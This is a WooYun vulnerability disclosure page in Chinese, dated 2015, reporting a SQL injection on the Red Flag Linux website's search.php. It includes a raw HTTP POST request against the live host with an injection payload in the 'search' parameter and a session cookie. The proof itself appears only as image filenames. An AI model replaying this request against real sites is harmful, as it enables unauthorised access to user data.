当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0145588

漏洞标题：红旗Linux主站SQL注入漏洞可能泄露敏感数据

相关厂商：红旗Linux

漏洞作者： Whysec

提交时间：2015-10-09 18:31

修复时间：2015-11-23 18:32

公开时间：2015-11-23 18:32

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-10-09： 积极联系厂商并且等待厂商认领中，细节不对外公开
2015-11-23： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

红旗Linux主站SQL注入漏洞可能泄露敏感数据

详细说明：

红旗Linux主站sql注入可泄露用户数据

POST /search.php HTTP/1.1
Host: www.redflag-linux.com
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://www.redflag-linux.com/
Cookie: PHPSESSID=8p6nt6lhl0vudffptcau97f406; __utma=238641311.1686496146.1444380378.1444380378.1444380378.1; __utmb=238641311.1.10.1444380378; __utmc=238641311; __utmz=238641311.1444380378.1.1.utmcsr=baidu|utmccn=(organic)|utmcmd=organic; __utmt=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 19
search=%251&x=0&y=0


PWW}O)SQUL}X9HK6E46IZ%X.png

漏洞证明：

PWW}O)SQUL}X9HK6E46IZ%X.png

修复方案：

你懂的

版权声明：转载请注明来源 Whysec@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝